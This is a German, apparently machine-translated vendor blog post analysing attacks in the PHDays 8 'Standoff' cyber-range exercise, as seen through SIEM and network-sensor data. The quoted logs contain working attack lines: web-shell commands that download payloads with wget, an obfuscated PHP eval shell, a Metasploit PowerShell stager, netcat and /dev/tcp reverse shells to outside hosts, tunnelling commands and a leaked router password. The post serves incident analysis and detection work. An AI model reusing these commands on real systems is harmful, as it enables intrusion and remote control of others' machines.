Die nächste „Konfrontation“ endete also an den Positive Hack Days 8. Dieses Mal nahmen mehr als hundert Menschen am Kampf teil: 12 Angreiferteams, 8 Verteidigungsteams und eine ganze Stadt, die sie angreifen und verteidigen mussten.
Dieses Mal war The Standoff nicht nur von Angreifern und Verteidigern besucht, die drei Produkte unseres Unternehmens beobachteten alles, was im Spielnetzwerk passierte:
Die drei Produkte wurden vom Team des Sicherheitsexpertenzentrums von Positive Technologies (PT ESC) überwacht, das Spieltrends und Ereignisse überwacht, um die Besucher des Expertenzentrums darüber zu informieren.
Dies war die erste derartige Teilnahme eines Teams von Experten und Produkten, und sie zeigten ihre beste Seite: Es gab so viele Daten, die für einen umfangreichen Bericht ausreichen würden. Die Netzwerke von Büro Nr. 2 der SPUTNIK-Integratorfirma und Büro Nr. 1 der BeHealthy-Versicherungsgesellschaft erwiesen sich nach Beschreibung als die interessantesten und vollständigsten. Büro Nr. 2 war insofern interessant, als es unter der Aufsicht des SOC RTK stand, aber nicht von einem Team von Verteidigern betreut wurde und von den angreifenden Teams vollständig gehackt wurde.
Ich möchte Sie daran erinnern, dass die Stadt neben zwei Büros ein Wärmekraftwerk und ein Umspannwerk, eine Eisenbahn, Smart Homes mit Energierückgewinnung und Banken mit Geldautomaten hatte.
Gaming-InfrastrukturWie die Ereignisse in den Büros Nr. 1 und Nr. 2 durch das Prisma von MaxPatrol SIEM, PT NAD und PT MultiScanner mit Schwerpunkt auf den technischen Details des Hackens aussahen, wird später erläutert.
Logikdiagramm eines Gaming-Netzwerkbüros Nr. 2:
Die Adresse der angreifenden Teams lautet 172.31.x.0 / 24, wobei x die Befehlsnummer von 1 bis 8 ist. Tatsächlich gab es insgesamt 12 Teams, jedoch aufgrund der Architektur der Netzwerkinfrastruktur des Netzwerks (der Netzwerkkern wurde in Cisco CSR1000v emuliert) und der physischen Ausstattung war es möglich, nur 8 physische Netzwerkschnittstellen zu organisieren, die für Teams im gesamten Spielbereich gewechselt wurden. Daher wurden in vier Netzwerken zwei Teams lokalisiert.
In der Infrastruktur von Office 2 wurden vier Netzwerksegmente zugewiesen:
- DMZ (100.64.154.0/25);
- Server (10.106.60.0/24);
- Mitarbeiter des Unternehmens (10.106.50.0/24);
- Verteidiger-Team (10.106.82.0/24).
Die in der entmilitarisierten Zone befindlichen Knoten waren für alle Angreifer über das Netzwerk zugänglich. Beim Zugriff auf diese Knoten stammten die tatsächlichen Netzwerkadressen der NAT-Befehle aus dem Pool 100.110.255.0/24. Für die Verteidiger war es daher nicht einfach herauszufinden, wem dieser oder jener Netzwerkverkehr gehört - es könnte sich um eines von 12 angreifenden Teams oder einen legitimen Skriptprüfer handeln. Überprüfen der Wartungsfreundlichkeit von Diensten aus demselben Adresspool wie die Angreifer.
Um unsere Produkte mit Ereignissen über das Geschehen in der Spieleinfrastruktur zu füllen, haben wir das Entfernen und Umleiten einer Kopie des gesamten Netzwerkverkehrs in PT NAD organisiert sowie eine erweiterte Prüfung der Ereignisse der Zielsysteme eingerichtet und deren Bereitstellung an MaxPatrol SIEM organisiert.
Die Analyse von Angriffen mit Schwerpunkt auf Teams finden Sie in unserem anderen
Bericht über Habr .
Joomla (100.64.154.147)
Einer der Server in DMZ Office Nr. 2 war ein Server mit Joomla CMS. Einige Stunden nach Spielbeginn zeigten sich in PT NAD die ersten Anzeichen für einen Kompromiss dieses Servers - das Ausfüllen der Webshell aus dem Pool der „grauen“ IP-Adressen:
Wie bereits erwähnt, wurden alle Subnetze angreifender Teams auf demselben ME (Attacker-FW) beendet. Beim Herstellen einer Verbindung zu den angegriffenen Objekten wurden die IP-Adressen der Angreifer aus einem einzigen Pool in graue IP-Adressen übersetzt (100.110.255.0/24). Daher wurde zur Personifizierung von Angriffen durch Befehle ein Schema mit der Anreicherung von Gateways gemäß der NAT-Tabelle dieser ME implementiert. Im Rahmen von MP SIEM war die Anreicherung wie folgt:
Mit diesem Ansatz konnten wir feststellen, dass dieser Angriff von Team 1 initiiert wurde. Aufgrund der Verwendung desselben Adresspools durch verschiedene Teams können wir den Namen des Teams auf Anfrage eines bestimmten Netzwerks nicht zuverlässig bestimmen, und zum Zwecke der weiteren Erläuterung werden wir die Teams anhand ihrer Netzwerknummern benennen.
Eine Stunde nach dem Versuch, Befehl Nr. 1 auszuführen, bemerkte PT NAD, dass Befehl Nr. 8 mit dem sprechenden Namen SHE __ auf eine andere Web-Shell geladen wurde Der Befehl legt eine SSH-Sitzung von einem nicht privilegierten Benutzer fest.
Das Passwort für dieses Konto befand sich oben im Rockyou-Wörterbuch und wurde abgeglichen. Der Zugriff auf das Root-Konto für das 8. Team erfolgte aufgrund der Mitgliedschaft des Benutzers in der Gruppe mit dem Recht auf kennwortfreie Ausführungsbefehle vom Root aus erst gegen 16:00 Uhr. Davon können wir in den MP SIEM-Protokollen überzeugt werden, die uns über die erste Anmeldung als Benutzer und dann über die Eskalation von Berechtigungen mit dem Befehl sudo informieren.
Die Protokollzeit kann aufgrund der Konfiguration des Spielservers um 3 Stunden variieren.
Am Abend des ersten Tages der Konfrontation nahm die sechste Mannschaft Joomla in Besitz. NAD entdeckte die Ausnutzung einer Sicherheitsanfälligkeit bzw. eines
Features, über das das Team die weithin bekannte WSO-Web-Shell hochlud und begann, mit ihr zu interagieren.
100.110.255.160 - - [15/May/2018:09:39:31 -0700] GET /templates/beez3/index.php HTTP 100.110.255.160 - - [15/May/2018:09:39:35 -0700] POST /templates/beez3/index.php HTTP 100.110.255.160 - - [15/May/2018:09:39:35 -0700] GET /templates/beez3/index.php HTTP 100.110.255.220 - - [15/May/2018:09:39:56 -0700] POST /templates/beez3/index.php HTTP … 100.110.255.32 - - [15/May/2018:09:44:39 -0700] POST /templates/beez3/index.php HTTP 100.110.255.118 - - [15/May/2018:09:44:43 -0700] POST /templates/beez3/index.php HTTP 100.110.255.145 - - [15/May/2018:09:44:49 -0700] GET /templates/beez3/index.php HTTP
Es ist erwähnenswert, dass das Skript, mit dem die Befehle die Shells füllten,
erfordert ein Administratorkonto, dessen Kennwort mithilfe einer anderen
Sicherheitsanfälligkeit CVE-2017-14596 im Authentifizierungsmechanismus in Joomla über LDAP ausgewählt wurde: Durch Ändern der Authentifizierungs-LDAP-Anforderung können Angreifer die Anmeldung und das Kennwort schnell vom Administratorkonto abrufen.
Und nach einer halben Stunde übernahmen sie die Kontrolle über das gesamte System.
Die angreifenden Teams nutzten die erbeutete Maschine zur weiteren Aufklärung im Netzwerk des zweiten SPUTNIK-Büros mit den Dienstprogrammen nmap und hping3. Wir können uns anhand der MP SIEM-Daten ein Bild von ihren Aktionen machen:
Beispiel DMZ Intelligence Office Network 2 (100.64.154.0/24) und das Defender Team Network (10.106.82.0/24):
Um 21:17 Uhr stellten wir fest, dass der OpenVPN-Client auf dem Joomla-Server installiert und gestartet wurde. Die Verbindung wurde mit dem Server 195.16.61.229 in Moskau hergestellt. Wenig später stellten wir fest, dass diese Aktionen von Mitgliedern von Team Nr. 6 durchgeführt wurden und das Team somit zusätzliche Computer- und Personalressourcen an einem entfernten Standort gewinnen konnte.
Alle Interaktionen mit dem entfernten Standort wurden innerhalb des geschützten Tunnels durchgeführt, so dass es unmöglich ist, die Art dieser Interaktion und den Grad ihres Einflusses auf das Spiel festzustellen. Wir können nur indirekte Schlussfolgerungen ziehen, basierend auf der Anzahl der VPN-Sitzungen und der Menge der übertragenen Daten.
Das Interessanteste ist jedoch, dass das Team die Spuren nicht bereinigt hat. Nach dem Spiel haben wir auf dem ovpn-Server eine Konfiguration gefunden, die die Root- und persönlichen Zertifikate, den privaten Schlüssel und die persönlichen Daten des Schlüsselbesitzers enthält. Wenn Sie eine Suchmaschine verwenden, ist es überhaupt nicht schwierig, die tatsächliche Identität des Eigentümers unter dem Spitznamen phonexicum zu bestimmen. Die vollständige Karte mit allen VPN-Verbindungen während des Spiels finden Sie am Ende des Artikels.
Andere interessante Ereignisse begannen sich nach Mitternacht zu entwickeln (+3 Stunden zu den Protokollen).
Shell /id.php Befehl # 4 findet Befehl # 1:
[15/May/2018:21:58:22 +0000] "GET /id.php HTTP/1.1 [15/May/2018:21:58:24 +0000] "GET /id.php HTTP/1.1 [15/May/2018:21:58:34 +0000] "GET /id.php?c=ls HTTP/1.1 [15/May/2018:21:58:38 +0000] "GET /id.php?cmd=ls HTTP/1.1 [15/May/2018:21:59:53 +0000] "GET /id.php?cmd=id HTTP/1.1 [15/May/2018:21:59:56 +0000] "GET /id.php?cmd=ls+-la HTTP/1.1
Und wird sofort im System gestärkt, wobei die WSO-Web-Shell unter dem Namen 123.php erhalten bleibt
[15/May/2018:22:00:05 +0000] "GET /id.php?cmd=wget HTTP/1.1 [15/May/2018:22:00:10 +0000] "GET /id.php?cmd=wget -h HTTP/1.1 [15/May/2018:22:00:53 +0000] "GET /id.php?cmd=cat index.php HTTP/1.1 [15/May/2018:22:01:04 +0000] "GET /id.php?cmd=wget http://txt.731my.com/wso.txt -o 123.php HTTP/1.1
Das erste Team, das gehostet wurde, bis Team Nr. 4 dies einige Stunden später entdeckte, benannte die id.php-Shell nach einer kurzen Diskussion in 021371b392f0b42398630fd668adff5d.php um
[16/May/2018:00:06:13 +0000] "GET /id.php?cmd=id HTTP/1.1 [16/May/2018:00:06:26 +0000] "GET /id.php?cmd=ls HTTP/1.1 [16/May/2018:00:07:16 +0000] "GET /id.php?cmd=mv id.php 021371b392f0b42398630fd668adff5d.php HTTP/1.1
Anschließend wurde 021371b392f0b42398630fd668adff5d.php durch kekekeke.php und kekpek.php ersetzt
[16/May/2018:00:41:23 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=echo "<?phpeval(base64_decode(ailYmWoCX2oBXg8FSJdSxwQkAgAd3UiJ5moQWmoxWA8FWWoyWA8FSJZqK1gPBVBWX2oJWJm2EEiJ1k0xyWoiQVqyBw8FSJZIl18PBf.chr(47).m));?>" > kekekeke.php HTTP/1.1 [16/May/2018:06:20:52 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=wget%20193.124.190.162/kek.php -O kekpek.php HTTP/1.1 (base64_decode (ailYmWoCX2oBXg8FSJdSxwQkAgAd3UiJ5moQWmoxWA8FWWoyWA8FSJZqK1gPBVBWX2oJWJm2EEiJ1k0xyWoiQVqyBw8FSJZIl18PBf.chr ( [16/May/2018:00:41:23 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=echo "<?phpeval(base64_decode(ailYmWoCX2oBXg8FSJdSxwQkAgAd3UiJ5moQWmoxWA8FWWoyWA8FSJZqK1gPBVBWX2oJWJm2EEiJ1k0xyWoiQVqyBw8FSJZIl18PBf.chr(47).m));?>" > kekekeke.php HTTP/1.1 [16/May/2018:06:20:52 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=wget%20193.124.190.162/kek.php -O kekpek.php HTTP/1.1 > Kekekeke.php HTTP [16/May/2018:00:41:23 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=echo "<?phpeval(base64_decode(ailYmWoCX2oBXg8FSJdSxwQkAgAd3UiJ5moQWmoxWA8FWWoyWA8FSJZqK1gPBVBWX2oJWJm2EEiJ1k0xyWoiQVqyBw8FSJZIl18PBf.chr(47).m));?>" > kekekeke.php HTTP/1.1 [16/May/2018:06:20:52 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=wget%20193.124.190.162/kek.php -O kekpek.php HTTP/1.1
Die folgenden Ereignisse in der Domäneninfrastruktur von Büro Nr. 2 SPUTNIK stehen in engem Zusammenhang mit dem, was auf Jumla geschieht.
SPUTNIK (10.106.60.0/24)
Nachdem Joomla durchbohrt worden war, erhielt der Angreifer Zugriff auf die internen Segmente der SPUTNIK-Infrastruktur (Büro Nr. 2). Ohne nachzudenken, fliegt der MS17-010-Exploit zum Domänencontroller WIN2008R2-DC.domain2.phd (10.106.60.10).
Es ist bequemer, die Chronologie weiterer Ereignisse durch die Auslöser von MP SIEM zu beobachten:
Der erste Schritt des Angreifers bestand darin, einen Benutzer mit dem Namen "Benutzername" und dem Passwort "1qazzaq!" Zu erstellen. und Hinzufügen zur Gruppe der lokalen Administratoren (Bildschirm 2). Die erfolgreiche Ausnutzung von Exploits von MS17-010 ermöglicht den Zugriff mit NT-Authority \ System-Berechtigungen. In Windows-Protokollen wird dieser Zugriff als win2008r2-dc $ angezeigt.
Erstellt im Auftrag des neuen Benutzers einige Dienste, auf denen ein bestimmtes Powershell-Skript ausgeführt wird:
%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -noni -c if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream([Convert]::FromBase64String(''H4sIAGRK+1...u9uxfACgAA'')))[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);""
Dieses Skript wurde vom Metasploit-Framework generiert. Der Zweck besteht darin, den Socket an Port 55443 zum Abhören zu öffnen und die „Nutzlast“ auszuführen, die an diesen Port gelangt ist - vermutlich Meterpreter.
Ein Versuch, eine Remote-Shell zu starten, war erfolgreich. Danach haben die Angreifer den Angriff weiterentwickelt und der Benutzername erstellt ein weiteres Konto mit dem Namen "vitalik". Dieses Konto wird der Gruppe "Domain Admins" hinzugefügt. Kurz nach seiner Erstellung wird ein interaktives Login angezeigt.
Während vitalik den Dienst mit demselben Powershell-Skript wie der Benutzername erstellte, setzte der Benutzername die Kennwörter des Domänenkontos massiv zurück und interessierte sich für den benachbarten Domänen-Mail-Server Win2008R2-EXCH.
Die fast gleichzeitige Aktivität von Benutzernamen- und Vitalik-Benutzern auf dem Exchange-Domänenserver (Scannen und Anmelden) lässt darauf schließen, dass höchstwahrscheinlich mehrere Teammitglieder gleichzeitig das SPUTNIK-Netzwerk untersucht haben.
vitalik überprüft die Verfügbarkeit des Mailservers und startet die Serververwaltungskonsole nach einer interaktiven Anmeldung.
Da er nichts Wertvolles findet, schleppt er seine Instrumente und seine schwere Artillerie auf den Win2008R2-DC-Host - zahlreiche Powershell-Skripte und das BloodHound-Framework werden auf dem Domänencontroller angezeigt, der ein beliebtes Tool zur Aufklärung in Active Directory-Netzwerken ist. Um auf die BloodHound-Weboberfläche zugreifen zu können, musste der Teilnehmer den geschützten Modus im IE deaktivieren, der auch vom SIEM erkannt wurde.
Die BloodHound-Aktivität im Netzwerk wurde von PT NAD nicht bestanden. Eine der Funktionen des Tools war das Scannen von Hosts im Netzwerk nach aktiven Verbindungen. Dieser Datenverkehr zum SRVSVC-Dienst wird von einer der PT NAD-Signaturen erkannt und zeigt Informationen innerhalb des Netzwerks an:
Gegen ein Uhr morgens zogen die Angreifer, die zuvor mit dem Dienstprogramm vssadmin eine Schattenkopie der Festplatte erstellt hatten, die Datenbank ntds.dit mit allen Domänenkonten. Nachdem dieser Angriff erfolgreich abgeschlossen wurde, übernehmen die Angreifer die vollständige Kontrolle über die Domain und erhalten den Hash des speziellen Kontos "krbtgt", das ihnen zur Verfügung steht. Mit diesem Konto können Sie das sogenannte Konto erstellen und verwenden. Goldenes Ticket - Kerberos-Ticket für uneingeschränkten Zugriff auf Ressourcen in der Domäne, Zugriff auf Server im Namen vorhandener und sogar nicht vorhandener Benutzer sowie Aktionen in der Domäne. Die Verwendung von Golden Ticket ist mit Schutzausrüstung nur schwer zu erkennen, die Kompromittierung der Links krbtgt und ntds.dit ist jedoch viel einfacher zu erkennen.
Das Team wechselt schrittweise von der Domänenforschung zur Erforschung des von ihm eröffneten Netzwerks automatisierter Prozessleitsysteme. Nachdem Nmap-Scanner zu SPUTNIK-Mitarbeitern - YLAVRENTIEV.sputnik.phd und EPONOMAREV.sputnik.phd - gezogen wurden, wurden die Netzwerke 172.20.xx gescannt. Die Teilnehmer verwendeten
nmap_performance.reg , um die TCP / IP-Parameter des Windows-Stacks zu ändern und das Scannen des Prozesssteuerungsnetzwerks zu beschleunigen.
Die Verbindungen zu den Hosts im automatischen Prozessleitsystem des Netzwerks über die Tunnel auf den SPUTNIK-Domänenhosts sprechen für sich. Eine Beschreibung dessen, was die Hacker im industriellen Netzwerk getan haben, finden Sie im Video unserer Kollegen auf
YouTube .
Unter den anderen Errungenschaften der Angreifer wurden andere Tunnel, SSH-Sitzungen, kreative Durchbrüche nach einer schlaflosen Nacht am ersten Tag des Wettbewerbs und natürlich etablierte Bergleute, die die DDOS-Münzwährung abgebaut hatten, bemerkt.
ZABBIX (100.64.100.161)
Das Hotel befindet sich im DMZ-Büro Nr. 1 und hat seine Rolle stolz bis gegen Mittag wahrgenommen. Es wurde von einem nicht identifizierten Team gehackt.
Es war nicht schwierig, Administratoranmeldeinformationen zu finden, und das Team nutzte die integrierte zabbix-Funktionalität, um die Überwachungsfunktionen mithilfe benutzerdefinierter Skripts unbegrenzt zu erweitern.
Sie können beliebige Linux-Befehle in den Skripten verwenden, mit denen die Mitgliederteams Shells und Socks-Proxys erstellt haben.
command=/bin/nc -e /bin/sh -lp 5432 2>&1 command=/bin/ping -c 3 {HOST.CONN} 2>&1 command=ls /bin/ command=/bin/nc -e /bin/sh -lp 5432 2>&1 command=/bin/nc -e /bin/sh -lp 5432 2>&1 command=ping 8.8.8.8 command=ping 8.8.8.8; netstat -tulpn command=ping -n 4 8.8.8.8; netstat -tulpn command=ls /tmp/phd command=netstat -tulpn command=wget http://195.16.61.232:8888/x86_elf -O /tmp; ls /tmp command=ls /tmp command=curl http://195.16.61.232:8888/x86_elf --output /tmp/tmp.bin;ls /tmp command=ping -c 4 195.16.61.232 command=touch /tmp/test;ls /tmp/ command=pwd command=whoami command=ls /var/www/html command=which nc command=curl http://195.16.61.230/PHD/ --output /tmp/tmp.bin; ls /tmp command=bash -i >& /dev/tcp/195.16.61.232/8080 0>&1 command=chmod u+x /tmp/tmp.bin;/tmp/tmp.bin command=bash -i >& /dev/tcp/195.16.61.232/195 >&1 command=bash -i >& /dev/tcp/195.16.61.232/1950 0>&1 command=bash -i >& /dev/tcp/195.16.61.232/8080 0>&1
Das Team hat versucht, das Modul vom Server unter Kontrolle 195.16.61.232 herunterzuladen, aber ohne Erfolg:
Nach einer kurzen Untersuchung der Umgebung installierte ich eine Remote-Bash-Shell mit Standard-Linux-Tools auf demselben Server und sendete Pakete direkt an / dev / tcp /.
Nicht weniger interessant war der Inhalt des Verkehrs zwischen dem Team und den Granaten, der im Freien übertragen wurde und nicht an PT NAD-Sensoren vorbeiging.
bash-4.2$ /tmp/gost -L socks4a://:1080 & bash-4.2$ gost -L=:54321 -F=10.100.50.48:3389 bash-4.2$ /tmp/gost -L socks4a://:1080 & bash-4.2$ nmap bash: nmap: command not found bash-4.2$ ifconfig bash-4.2$ ping 172.30.240.106 bash-4.2$ wget https://gist.githubusercontent.com/sh1n0b1/e2e1a5f63fbec3706123/raw/1bd5f119a7f1e2d4c9328d78686ae79b4e1642f7/linuxprivchecker.py bash-4.2$ python linuxprivchecker.py bash-4.2$ uname -a bash-4.2$ cd /etc/cron.daily: bash-4.2$ ./gost -L=tcp://:33899/10.100.50.39:3389 bash-4.2$ ./gost -L=tcp://:4455/10.100.50.39:445 & bash-4.2$ ./gost -L=tcp://:1139/10.100.50.39:139 & bash-4.2$ ./gost -L=tcp://:12345/10.100.60.55:3389 & bash-4.2$ ./gost -L=tcp://:12347/10.100.60.5:445 & bash-4.2$ ./gost -L=tcp://:12348/10.100.60.15:445 & bash-4.2$ ./gost -L=tcp://:12349/10.100.50.100:445 & bash-4.2$ ./gost -L=tcp://:12350/10.100.80.28:445 & bash-4.2$ ./gost -L=tcp://:12351/10.100.80.23:445 & bash-4.2$ ./gost -L=tcp://:12352/10.100.80.30:445 & bash-4.2$ ./gost -L=tcp://:12353/10.100.80.32:445 & bash-4.2$ ./gost -L=tcp://:12354/10.100.80.26:445 & bash-4.2$ ./gost -L=tcp://:12355/10.100.80.5:445 & bash-4.2$ ./gost -L=tcp://:12356/10.100.80.9:445 & bash-4.2$ ./gost -L=tcp://:12357/10.100.80.23:445 & bash-4.2$ ./gost -L=socks5://:1081 &
Wie wir sehen können, wurde der ZABBIX-Server hauptsächlich als Brückenkopf für die Aufklärung von Office-Subnetzen Nr. 1: 10.100.50.0/24 (Benutzer), 10.100.60.0/24 (Server) und 10.100.80.0/24 (SecurityTeam) verwendet.
Multiserver (100.64.100.167)
Multiserver ist ein weiterer Linux-Host in DMZ Office Nr. 1 mit zwei HTTP-Servern und einer integrierten MySQL-Datenbank. Obwohl der Multiserver einem intensiven Scan unterzogen wurde, gab es nur wenige erfolgreiche Angriffe. Der Host enthielt die SambaCry-Sicherheitsanfälligkeit 2017, die nach den Sicherheitsanfälligkeiten MS17-010 gefunden wurde, und die Teams versuchten, sie zu verwenden. Mit dem PT NAD-Filter können Sie ihre Versuche auf der Zeitachse lokalisieren:
Das Laden in einem der Versuche von Befehl # 3 war die ausführbare Bibliothek DTECJtAf.so. Nach dem Namen der Bibliothek zu urteilen, verwendeten die Teammitglieder das Modul is_known_pipename aus dem Metasploit Framework. Beweis:
Während der Konfrontation wurden Experten von PT MultiScanner unterstützt, der alle über das Netzwerk fliegenden Dateien überprüfte, die von PT NAD bemerkt wurden. Nach ein paar Augenblicken gibt er ein Urteil an DTECJtAf.so ab, das über das Netzwerk fliegt: Linux / SmbPayload.C
Dem Mangel an weiteren Netzwerkinteraktionen zwischen dem Server und Befehl Nr. 3 nach zu urteilen, brachte der Exploit keinen Erfolg. Fast zur gleichen Zeit sehen wir jedoch eine aktive SSH-Sitzung von Team # 4. Anhand des übertragenen Datenverkehrs können wir beurteilen, dass die Angreifer den Server in vollem Umfang genutzt haben.
Im Allgemeinen erfolgte die erste erfolgreiche SSH-Anmeldung des Administratorbenutzers aus Team Nr. 4 gegen 15.20 Uhr am 1. Tag des Wettbewerbs:
Wie bei jedem anständigen Angreifer folgt auf die Anmeldung die Überprüfung der Berechtigungen und die Aufklärung des Hosts:
Und darüber hinaus:
Mit Leichtigkeit führen wir die Zuordnung des Angreifers nach Sprache durch:
Der Multiserver hat keine ordnungsgemäße Konfiguration erhalten und es ist nicht sicher, welche anderen Versuche die Teams unternommen haben. Gemessen an den verfügbaren Protokollen dienten dieser Host sowie andere Hosts im DMZ-Büro Nr. 1 als Ausgangspunkt für die Erkundung der internen Infrastruktur des Büros.
Mis
Andere Gastgeber sind ebenfalls in den Fokus der Teams gerückt. Zum Beispiel verhielten sich die Teilnehmer in Bezug auf den Mikrotik-Router unter 100.64.100.237 im DMZ-Netzwerk von Office # 1 neugierig. Am zweiten Tag der Konfrontation gegen 2 Uhr morgens erfolgte eine erfolgreiche Anmeldung an der Konsolenkonsole des Telnet-Routers mit dem Paar „admin: VxPvRxX74e8xrbia77hsi7WKm“. Die Firmware-Version des Geräts war 6.38.4 - dies ist die Version, auf der der berühmte Chimay Red Stack Clash-Exploit für Mikrotik getestet wurde, mit dem beliebiger Code auf dem Gerät ausgeführt und insbesondere Benutzerkennwörter auf dem Router extrahiert werden konnten. PT NAD hat eine Sicherheitslücke in Bezug auf die Ausnutzung entdeckt.
Aber dann entschied sich das Team, das zuerst den Router nahm, im Mittagsbereich, die Lücke mit einem einfachen Firmware-Update zu schließen und den Zugriff zu monopolisieren:
Dies ist eines der wenigen Beispiele, bei denen ein Team von Teilnehmern eine Lücke im System schließt, damit andere Teams diesen Host nicht erfassen können.
PT MultiScanner hat ein merkwürdiges Ereignis festgestellt:
Um auf die Bank zuzugreifen, können Teams den auf der Website verfügbaren Bankclient verwenden. Die Site befindet sich im Bankennetz unter der Aufsicht eines Teams von Verteidigern,
die den Client mithilfe des Metasploit-Frameworks erstellt und durch das ursprüngliche ersetzt haben. Zum Glück für die Verteidiger wurde der integrierte Client von mehreren Teams heruntergeladen, wie wir im obigen Screenshot von PT MultiScanner sehen können. Erfolgreiche Verbindungen wurden nicht bemerkt, aber der Fall ist erwähnenswert, da solche Szenarien im normalen Leben auftreten - Angreifer-Trojaner-Programme auf offiziellen Websites oder Ersetzen von Updates, um Angriffe auf Clients auszuführen.
Bergleute
Eine weitere Innovation in The Standoff war das Aufkommen von Gaming Miner. Der Legende nach könnten Teams die erbeuteten Server als Bergleute einsetzen, was ihnen zusätzliche Punkte einbrachte. Anstelle herkömmlicher Kryptowährungen haben sie DDoS-Münzen abgebaut - das Währungsäquivalent des Aufwands, der für einen DDoS-Angriff auf einen Server aufgewendet wurde. Die Daten aus den TLS 1.2-Handshakes dienten als Proof-of-Work. Je mehr der Miner TLS-Handshakes mit dem Zielserver ausführte, desto höher war seine Wahrscheinlichkeit, einen neuen Block zu finden und seine Belohnung vom Organisator des DDoS-Angriffs zu erhalten.
Der Client wurde in Go geschrieben und konnte sowohl unter Windows als auch unter Linux arbeiten. Die Idee wurde zum ersten Mal angewendet, und obwohl es nicht allen Teams gelang, sie anzuwenden, wurden auf vielen Servern der Gaming-Infrastruktur Versuche unternommen, sie zu starten:
Versuchen Sie, den Miner auf dem Joomla-Knoten auszuführen (100.64.154.147).
Ausführen des Miners über die SPUTNIK-Infrastruktur (10.106.60.0/24)
Als Teil des Spiels konnten Teams Kryptowährung abbauen und gegen Spielpunkte eintauschen. Die Hälfte der Teams konnte die zuvor erfassten Server zum Extrahieren von Blöcken verwenden. Es gab auch eine Wechselkurskomponente in der Spiellogik - mit einer starken Änderung der Menge der abgebauten Währung verringerte sich der Wechselkurs. So war es möglich, spekulative Operationen durchzuführen und Punkte zu sammeln, ohne grundlegende Aufgaben zu erledigen. Da diese Idee bisher in solchen Spielen nicht angewendet wurde, konnten die Teams sie nicht richtig anwenden, was den Spielverlauf nicht wesentlich beeinflusste.
In Bezug auf die Anzahl der abgebauten Blöcke übernahm das kasachische CARKA-Team die Führung, die als erste Bergleute in der Spielinfrastruktur startete. Hier konnten wir von den Netzwerknummern der Teams zu ihren Namen übergehen, da ihre Kennungen Informationen über den Block enthielten und bei der Berechnung berücksichtigt wurden. Im Allgemeinen erwies sich die Idee als gut, und sie ist sicher beim nächsten The Standoff zu sehen.
Anstelle von Ausgabe
Last Standoff war heiß - 12 Teams haben die Infrastruktur der Stadt aktiv erkundet und gehackt. Mit unseren Produkten konnten wir genau „ausspionieren“, wie die Spielteilnehmer handelten, welche Taktiken und Werkzeuge sie wählten und was ihr Ziel wurde. Wir haben gesehen, wie sie mit der Domäneninfrastruktur des Büros interagierten, angefangen mit der Infektion eines Computers bis hin zur Beschlagnahme der gesamten Domäne und dem Übergang zum nächsten ACS-Netzwerk. Während einer Veranstaltung wie The Standoff haben die Produkte eine enorme Last: MaxPatrol SIEM hat 20.000 EPS bewältigt, und PT NAD hat an beiden Tagen mehr als 3 Terabyte Netzwerkverkehr verarbeitet, ganz zu schweigen von der Netzwerkinfrastruktur selbst: Router, Switches und Firewalls.
Ein solcher Kompromiss zwischen virtuellen Büros könnte mit realen ohne die geeigneten Schutz- und Kontrollmittel geschehen. Dies führt in der Regel zum Verlust wertvoller Daten wie Korrespondenz, Finanzdaten und personenbezogener Daten von Mitarbeitern / Nutzern.
Unter den endlosen Scans, Brutes und Versuchen, alle Arten von Sicherheitslücken auszunutzen, halfen die Produkte dabei, festzustellen, wie die Server der Spielinfrastruktur gehackt wurden. Erfolgreiche Angriffe und Spuren erfolgreicher Kompromisse wie Web-Shells, Remote-Konsolen, Tunnel und Host-Anmeldungen wurden ermittelt. All dies hilft Experten, Produkte besser zu machen.
In diesem Screenshot mit Statistiken zu VPN-Verbindungen von Teams während des Spiels können Sie sehen, wie international The Standoff war: VPN-Verbindungen wurden mit Servern in den USA, Kasachstan, den Niederlanden und der Hälfte Europas hergestellt! Übrigens gab es bei The Standoff keine Teams aus den USA oder Europa, aber es gab ein Team aus Kasachstan.